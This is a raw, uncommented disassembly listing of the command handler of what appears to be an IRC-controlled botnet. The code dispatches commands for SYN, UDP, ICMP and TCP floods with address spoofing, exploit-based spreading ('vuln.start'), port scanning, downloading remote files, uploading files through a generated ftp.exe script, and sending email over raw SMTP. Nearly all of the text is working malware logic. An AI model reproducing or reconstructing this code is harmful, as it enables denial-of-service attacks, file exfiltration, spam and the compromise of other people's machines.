		push	offset aEnz_ac	; "enz.ac"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA3
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A40
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A40
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A01
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A01
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410996
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410996
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410914
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410914
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108A3
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108A3
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41087D
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41087D
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41081A
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41081A
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410754
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410754
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106B9
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106B9
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410501
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410501
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41046E
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41046E
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103EA
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103EA
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102EF
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102EF
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410204
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410204
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100FF
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410001
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410001
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEC3
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEC3
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDC9
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDC9
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCD6
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCD6
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC01
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC01
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAEC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAEC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F793
		push	[ebp+arg_8]
		push	offset off_42CAA4
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F793
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F673
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F532
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F39F
		push	[ebp+arg_8]
		push	offset off_43350C
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F39F
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F1DC
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		call	sub_414FB0
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_E9C]
		push	eax
		call	sub_414FB0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_A94]
		push	eax
		call	sub_414FB0
		push	offset asc_425148 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_408296
		push	eax
		lea	eax, [ebp+var_448]
		push	eax
		call	sub_414FB0
		add	esp, 30h
		lea	eax, [ebp+var_5F4]
		push	eax
		push	101h
		call	dword_44CC60	; WSAStartup
		lea	eax, [ebp+var_2E4]
		push	eax
		call	dword_44CD5C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_44CD58	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_1D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1D4], eax
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1D6], ax
		lea	eax, [ebp+var_448]
		push	eax
		lea	eax, [ebp+var_E9C]
		push	eax
		lea	eax, [ebp+var_448]
		push	eax
		lea	eax, [ebp+var_A94]
		push	eax
		lea	eax, [ebp+var_E9C]
		push	eax
		lea	eax, [ebp+var_129C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_413812
		add	esp, 1Ch
		lea	eax, [ebp+var_1D8]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_129C]
		push	eax
		push	esi
		call	dword_44CD28	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		push	esi
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		lea	eax, [ebp+var_A94]
		push	eax
		push	offset a_1514enz10b_2_ ; ".15,14enz10b .2.. .15(email.2..15mod)	."...


loc_40F1A3:				; CODE XREF: sub_40CC09+36E1j
					; sub_40CC09+38F3j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_40F1B2:				; CODE XREF: sub_40CC09+36C5j
					; sub_40CC09+38A5j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411E05
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_40F1DC:				; CODE XREF: sub_40CC09+2444j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F371
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F371
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B
		push	4
		push	esi
		call	sub_40A90D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F246
		push	esi
		push	offset a_e_1_0bFtp_m_d ; ".e.(1.0b) ( ftp.m.d.l	) ..	File not "...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40F246:				; CODE XREF: sub_40CC09+2630j
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_41386E
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41386E
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41386E
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_A98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_414F8F
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40CFCD
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415DDF
		push	[ebp+arg_24]
		call	sub_414E31
		lea	eax, [ebp+var_A98]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aSS_5	; "-s:%s"
		push	eax
		call	sub_413812
		add	esp, 2Ch
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44CC5C	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F310
		push	offset a_e_1_0bFtp_m_0 ; ".e.(1.0b) ( ftp.m.d.l	) ..	Uploading"...
		jmp	short loc_40F315
; ---------------------------------------------------------------------------


loc_40F310:				; CODE XREF: sub_40CC09+26FEj
		push	offset a_e_1_0bFtp_m_1 ; ".e.(1.0b) ( ftp.m.d.l	) ..	Uploading"...


loc_40F315:				; CODE XREF: sub_40CC09+2705j
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F33E
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_40F33E:				; CODE XREF: sub_40CC09+2717j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833


loc_40F34A:				; CODE XREF: sub_40CC09+2766j
		lea	eax, [ebp+var_A98]
		push	4
		push	eax
		call	sub_40A90D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40CFCD
		lea	eax, [ebp+var_A98]
		push	eax
		call	sub_415DB5
		jmp	short loc_40F34A
; ---------------------------------------------------------------------------


loc_40F371:				; CODE XREF: sub_40CC09+25E4j
					; sub_40CC09+25FBj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_413D7F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405900
		jmp	loc_412178
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40CC09+2416j
					; sub_40CC09+242Dj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_580]
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_580]
		push	eax
		push	offset off_42137C
		call	sub_413C30
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F402
		lea	eax, [ebp+var_580]
		push	eax
		push	offset off_421378
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F402
		lea	eax, [ebp+var_580]
		push	eax
		push	offset aRandom	; "random"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F402
		push	offset a_e_1_0bTcp_m_d ; ".e.(1.0b) ( tcp.m.d.l	) ..	Invalid	f"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F402:				; CODE XREF: sub_40CC09+27BFj
					; sub_40CC09+27D6j ...
		push	[ebp+arg_10]
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_478], eax
		jle	loc_40F528
		push	edi
		lea	eax, [ebp+var_580]
		push	esi
		push	eax
		call	sub_413D8A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_413D8A
		push	[ebp+arg_0]
		call	sub_413D7F
		mov	[ebp+var_47C], eax
		xor	eax, eax
		cmp	[ebp+var_8A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_474], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_604], eax
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_474], ebx
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40F499
		mov	eax, offset aNormal ; "Normal"


loc_40F499:				; CODE XREF: sub_40CC09+2889j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset a_e_1_0bTcp_m_0 ; ".e.(1.0b) ( tcp.m.d.l	) ..	%s %s flo"...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Ch
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_604]
		push	ebx
		push	eax
		push	offset sub_401BD7
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_480]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F517


loc_40F501:				; CODE XREF: sub_40CC09+290Cj
		cmp	[ebp+var_468], ebx
		jnz	loc_411957
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40F501
; ---------------------------------------------------------------------------


loc_40F517:				; CODE XREF: sub_40CC09+28F6j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bTcp_m_1 ; ".e.(1.0b) ( tcp.m.d.l	) ..	Failed to"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40F528:				; CODE XREF: sub_40CC09+280Aj
		push	offset a_e_1_0bTcp_m_2 ; ".e.(1.0b) ( tcp.m.d.l	) ..	Invalid	f"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F532:				; CODE XREF: sub_40CC09+23D1j
					; sub_40CC09+23E8j ...
		cmp	dword_44CDC8, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40F63A
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_1EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_284]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		push	[ebp+arg_10]
		mov	[ebp+var_200], eax
		call	sub_413D7F
		push	7Fh
		mov	[ebp+var_1FC], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_415140
		push	[ebp+var_1FC]
		lea	eax, [ebp+var_284]
		mov	[ebp+var_308], esi
		push	[ebp+var_200]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_204]
		push	offset a_e_1_0bPing_m_ ; ".e.(1.0b) ( ping.m.d.l ) ..	 Sending "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Eh
		push	eax
		call	sub_4132BE
		add	esp, 48h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_308]
		push	ebx
		push	eax
		push	offset sub_408B03
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F629


loc_40F617:				; CODE XREF: sub_40CC09+2A1Ej
		cmp	[ebp+var_1E8], ebx
		jnz	short loc_40F653
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40F617
; ---------------------------------------------------------------------------


loc_40F629:				; CODE XREF: sub_40CC09+2A0Cj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bPing__0 ; ".e.(1.0b) ( ping.m.d.l ) ..	 Failed	t"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_40F63A:				; CODE XREF: sub_40CC09+2932j
		push	0FEh
		lea	eax, [ebp+var_1C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_415140


loc_40F650:				; CODE XREF: sub_40CC09+35F6j
		add	esp, 0Ch


loc_40F653:				; CODE XREF: sub_40CC09+2A14j
					; sub_40CC09+2B69j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	[ebp+var_4]


loc_40F660:				; CODE XREF: sub_40CC09+4C3Aj
		lea	eax, [ebp+var_1C4]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_411974
; ---------------------------------------------------------------------------


loc_40F673:				; CODE XREF: sub_40CC09+238Cj
					; sub_40CC09+23A3j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_1EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_284]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		push	[ebp+arg_10]
		mov	[ebp+var_200], eax
		call	sub_413D7F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_1FC], eax
		jz	short loc_40F6D8
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_1F8], eax
		jmp	short loc_40F6DE
; ---------------------------------------------------------------------------


loc_40F6D8:				; CODE XREF: sub_40CC09+2ABEj
		mov	[ebp+var_1F8], ebx


loc_40F6DE:				; CODE XREF: sub_40CC09+2ACDj
		push	7Fh
		lea	eax, [ebp+var_304]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		push	[ebp+var_1FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_284]
		mov	[ebp+var_308], esi
		push	[ebp+var_200]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_204]
		push	offset a_e_1_0bUdp_m_d ; ".e.(1.0b) ( udp.m.d.l	) ..	Sending	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Fh
		push	eax
		call	sub_4132BE
		add	esp, 30h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_308]
		push	ebx
		push	eax
		push	offset sub_408C8F
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40F782


loc_40F76C:				; CODE XREF: sub_40CC09+2B77j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40F653
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40F76C
; ---------------------------------------------------------------------------


loc_40F782:				; CODE XREF: sub_40CC09+2B61j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bUdp_m_0 ; ".e.(1.0b) ( udp.m.d.l	) ..	Failed to"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_40F793:				; CODE XREF: sub_40CC09+235Ej
					; sub_40CC09+2375j
		push	8
		call	sub_413506
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_413D7F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 100h
		jle	short loc_40F7E6
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) ..  Alrea"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5


loc_40F7DE:				; CODE XREF: sub_40CC09+3F56j
		add	esp, 20h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40F7E6:				; CODE XREF: sub_40CC09+2BA6j
		push	edi
		call	sub_413D7F
		push	[ebp+arg_18]
		mov	[ebp+var_21C], eax
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_204], eax
		call	sub_413D7F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_218], eax
		jnb	short loc_40F81F
		push	1
		pop	eax
		mov	[ebp+var_218], eax


loc_40F81F:				; CODE XREF: sub_40CC09+2C0Bj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40F82C
		mov	[ebp+var_218], ecx


loc_40F82C:				; CODE XREF: sub_40CC09+2C1Bj
		push	[ebp+arg_10]
		call	sub_413D7F
		mov	[ebp+var_214], eax
		mov	eax, 2710h
		cmp	[ebp+var_214], eax
		pop	ecx
		jbe	short loc_40F84E
		mov	[ebp+var_214], eax


loc_40F84E:				; CODE XREF: sub_40CC09+2C3Dj
		or	[ebp+var_200], 0FFFFFFFFh
		cmp	dword_425A58, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40F8A4
		mov	[ebp+arg_24], offset dword_425A58


loc_40F867:				; CODE XREF: sub_40CC09+2C7Dj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F88A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40F867
		jmp	short loc_40F8A4
; ---------------------------------------------------------------------------


loc_40F88A:				; CODE XREF: sub_40CC09+2C6Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_200], eax
		imul	ecx, 3Ch
		mov	ecx, dword_425A58[ecx]
		mov	[ebp+var_21C], ecx


loc_40F8A4:				; CODE XREF: sub_40CC09+2C55j
					; sub_40CC09+2C7Fj
		cmp	[ebp+var_21C], ebx
		jz	loc_411566
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40F8EB
		cmp	byte ptr [edi],	23h
		jz	short loc_40F8EB
		push	edi
		lea	eax, [ebp+var_330]
		push	10h
		push	eax
		call	sub_413D8A
		push	78h
		push	edi
		call	sub_415BA0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_1F0], eax
		jmp	loc_40F9BF
; ---------------------------------------------------------------------------


loc_40F8EB:				; CODE XREF: sub_40CC09+2CB0j
					; sub_40CC09+2CB5j
		cmp	[ebp+var_8B3], bl
		jnz	short loc_40F90D
		cmp	[ebp+var_8B2], bl
		jnz	short loc_40F90D
		cmp	[ebp+var_8A2], bl
		jnz	short loc_40F90D
		push	offset a_e_1_0bExplo_0 ; ".e.(1.0b) ( exploit.m.d.l ) ..  Faile"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_40F90D:				; CODE XREF: sub_40CC09+2CE8j
					; sub_40CC09+2CF0j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_44CC84	; getsockname
		mov	al, [ebp+var_8B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_1D4], eax
		push	[ebp+var_1D4]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415140
		add	esp, 0Ch
		cmp	[ebp+var_8A2], bl
		jz	short loc_40F9B9
		xor	eax, eax
		cmp	[ebp+var_8B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415440
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40F9AD


loc_40F98B:				; CODE XREF: sub_40CC09+2DA2j
		cmp	eax, ebx
		jz	short loc_40F9AD
		mov	byte ptr [eax],	78h
